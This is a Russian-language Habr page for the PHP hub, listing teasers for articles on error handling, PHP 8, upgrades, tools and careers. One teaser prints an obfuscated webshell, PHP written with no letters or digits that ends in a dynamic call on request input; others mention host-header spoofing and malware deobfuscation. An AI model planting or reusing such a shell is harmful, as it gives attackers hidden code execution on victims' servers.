
PHP *
Скриптовый язык общего назначения
Обработка критических ошибок в PHP

Идея написать этот топик возникла, когда я на храбре задал 2 вопроса:
- Вопрос о перехвате предупреждений и вывод ошибок в указанное место шаблона
- Вопрос о перехвате критических ошибок, заставляющие выполнение скрипт только остановиться
По моей карме и добавление в избранное я понял, что они оказались интересные для PHP хабрасообщества. По этой причине я решил оформить решения этих вопросов в виде статьи, да бы людям и поисковикам было проще и комплексно находить нужную информацию.
Если заинтересовались, то подробности под катом…
Самое интересное в PHP 8
Все доклады Дмитрия только о тех технологиях и решениях, над которыми он работает лично. В лучших традициях Онтико под катом текстовая версия рассказа о самых интересных с точки зрения Дмитрия нововведениях PHP 8, которые могут открыть новые use-case-ы. В первую очередь JIT и FFI — не в ключе «потрясающих перспектив», а с подробностями реализации и подводными камнями.

Для справки: Дмитрий Стогов познакомился с программированием в 1984, когда еще далеко не все из читателей появились на свет, и успел внести существенный вклад в развитие инструментов разработки, и PHP в частности (хоть Дмитрий повышает производительность PHP не специально для российских разработчиков, они выразили свою благодарность в виде Премии HighLoad++). Дмитрий автор Turck MMCache для PHP (eAccelerator), майнтейнер Zend OPcache, лидер проекта PHPNG, легшего в основу PHP 7, и лидер разработки JIT для PHP.
Определение кодировки текста в PHP — обзор существующих решений плюс еще один велосипед
1. Почему не mb_detect_encoding() ?
Если кратко — он не работает.
Как мы планировали повысить версию PHP за месяц, а потратили на это год

Как и множество больших сервисов, Яндекс Еда основана на микросервисной архитектуре. В общей сложности у нас чуть больше 200 микросервисов. Но есть один сервис, который совсем не микро – легаси-монолит.
Он написан на PHP 7.2 разработчиками разного уровня и в разное время. Мы подумали, что так больше нельзя, и решили навести порядок. В ходе разбирательств выяснилось, что версия языка, на котором всё написано, устарела и уже не поддерживается, что ведёт к рискам безопасности. Делать нечего — мы приняли решение обновиться до 8-й версии.
В этой статье я расскажу, чего стоило нам проапгрейдить монолит, сколько тестов мы сломали и как в этом проекте поучаствовали почти все PHP-разработчики Яндекс Еды. Это интересный и уникальный опыт, которым я хотел бы с вами поделиться. В конце дам несколько советов тем, кто тоже захочет ввязаться в подобную авантюру.
Хватит изобретать велосипеды!
С вашего позволения я немного пофилософствую на тему развития нас, как сообщества девелоперов, использующих замечательный язык PHP. Заранее скажу, что многие могут не поддержать мою точку зрения и я буду рад обсудить это в комментариях. Итак, приступим…
Немного истории
Так исторически сложилось, что PHP считается простым языком.
Изначально он создавался для быстрого написания небольших динамических веб-приложений низкоквалифицированным (читай — неопытным и начинающим) веб-разработчиком.
Аббревиатура PHP в далеком 1994 году означала «Personal HomePage».
С тех пор прошло 14 лет, движок PHP переписывался с нуля два раза (если мне не изменяет память), обрастая «взрослой» функциональностью и разбивая стереотипы своей ограниченности проектами уровня Фейсбука и Википедии.
Стоит подождать ещё самую малость и выйдет PHP 5.3 с долгожданными неймспейсами, незаслуженно игнорируемым Late Static Binding и некоторыми добавками синтаксического сахара.
3 года программирования вслепую. Часть 2
Всем доброго времени суток! Продолжаю свой рассказ о том, как "Войти в IT" без подгляда. Прошлая часть была посвящена, в основном, обучению. В этой больше расскажу о работе.
Как может выглядеть PHP 5.5
Однако необходимо понять: PHP 5.5 еще на ранней стадии развития, поэтому никто не знает, как он будет выглядеть в итоге. Все, о чем здесь написано это только предложения. Я уверен, что не все это будет в PHP 5.5, или будет, но не в таком виде.
Так что не стоит слишком возбуждаться.
Теперь, без лишних церемоний, список фич, над которыми ведется работа в PHP 5.5:
Как стать Zend PHP 5 Certified Engineer
Поэтому хотел бы поделиться своим опытом подготовки к сертификации, ну и заодно провести небольшой ликбез на тему сертификации по PHP.
PHP-шелл без единого буквенно-цифрового символа
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$
$_[$__+ $__] ;$_[@-_]($_[@!+_] );
Как видно, в коде нет ни вызовов функций, ни вообще какого-либо буквенно-цифрового символа.
Об одной малоизвестной уязвимости в веб сайтах
Не доверять данным пришедшим от клиента.Почти все это правило хорошо знают и соблюдают. Мы пропускаем через валидаторы данные форм, кукисы, даже URI.
Но недавно я с удивлением обнаружил, что есть одна переменная, приходящая от клиента, которую почти никто не фильтрует.
Речь пойдет о компрометации веб приложения через подмену значения
HTTP_HOST и SERVER_NAME.Деобфускация PHP кода

Так уж случилось, что на днях мне попался один нужный PHP скрипт, но обфусцированный.
По какой-то причине он никак не работал. Я пишу на PHP достаточно давно, и мне очень нравится отлавливать нестандартные ситуации в скриптах, особенно когда при выполнении в логах нет ошибок, а скрипт просто не выполняет своих предназначенных обязанностей, руки так и чесались расшифровать. Последней каплей стало то, что автора этого скрипта не было в сети, чтобы помочь решить мою проблему. Скрипт кстати куплен моим товарищем, собственно он и попросил помочь.
Цель данной статьи, показать принцип дешифровки, зашифрованных скриптов, чтобы например расшифровать залитый злоумышленником вирус на PHP.
PHP 5.3: встречаем анонимные функции
Ближайшие события
Шпаргалка по SOLID-принципам с примерами на PHP
Вышел PhpStorm 3.0
Сотни различных улучшений, более полуторы тысячи голосов пользователей добравшихся до трекера. Наиболее заметные новые функции и изменения:
- Анализ кода и поиск дубликатов помогут вам найти потенциальные ошибки и код низкого качества, рефакторинг — безопасно улучшить его
- Диаграммы классов UML помогут охватить взглядом структуру проекта и семантическое представлений изменений — локальных или из VCS
- Просмотр результатов профилирования c помощью Xdebug и Zend Debugger
- Поддержка PhpUnit 3.6 и всех опций командной строки
- CoffeeScript
- Рекурсивная синхронизация папок и гибкая настройка исключений FTP/SFTP
- Microsoft TFS, граф ревизий для git
- Новый интерфейс для всех операционных систем
Подробности и картинки
Уже скоро: релиз WebStorm 3.0 — поддержка Node.JS, JSLint и JSTestDriver
Работайте с удовольствием!
P.S. Ошибки — в трекер, вопросы — в форум, работа над 3.0.1 уже идет!
Немного о прелестях NetBeans + php
Автоматическая загрузка файлов на Яндекс.Диск
Как получить оффер в день собеседования. Часть вторая, для PHP-разработчика

Привет, Хабр! Меня зовут Павел Мурзаков, я – PHP-тимлид в Badoo, и сегодня я расскажу вам о новой возможности получить предложение по работе в Лондоне за один день. Как вы, возможно, знаете, недавно в Москве прошло рекрутинговое мероприятие Badoo по поиску мобильных разработчиков. Оно оказалось очень успешным – мы предложили работу в Лондоне восьми ребятам и надеемся скоро увидеть их в составе нашей мобильной команды.
И, чтобы не отставать от наших iOS- и Android-команд (ведь их теперь на восемь человек больше!), мы решили ответить достойно и провести аналогичное мероприятие, на котором рассчитываем найти server-side-коллег нашим новым мобильным разработчикам!
Как Composer на 70% ускорили

По всей видимости, на наших глазах родился еще один легендарный коммит (осторожно, в комментариях сплошные гифки):
github.com/composer/composer/commit/ac676f47f7bbc619678a29deae097b6b0710b799
При попытке разобраться с проблемой производительности Композера поступило предположение, что причина проблемы кроется в сборщике мусора:
Это действительно может быть проблемой по части GC. Если создается много объектов, и все они не могут быть «удалены», то GC в PHP начинает сходить с ума — он постоянно пытается провести сборку мусора, но убирать-то нечего — поэтому он просто тратит лишнее время/такты процессора. На это указывает и то, что проблема выявляется только на больших проектах (= много объектов), но не так заметна на маленьких (= GC включается не так часто).
Getting Started with MongoDB and PHP
За последний год произошла небольшая революция в мире СУБД, связанная с появлением безсхемных (безструктурных) СУБД таких как Apache CouchDB. В этих базах данных используется другой подход нежели в реляционных БД. Они достаточно быстро становятся популярны среди Web-разрабочиков из-за своей гибкости, простоты и легкой интеграции с современными технологиями такими как JSON.
В данной статье изложен краткий обзор MongoDB, одной из новых поколений безсхемных СУБД, которая получила большое внимание разработчиков.
Вклад авторов
pronskiy 10649.4SamDark 1519.8AloneCoder 987.8youROCK 823.0AntonShevchuk 815.0spasibo_kep 731.0AlexLeonov 620.0olegbunin 560.0zapimir 559.0alexzfort 558.0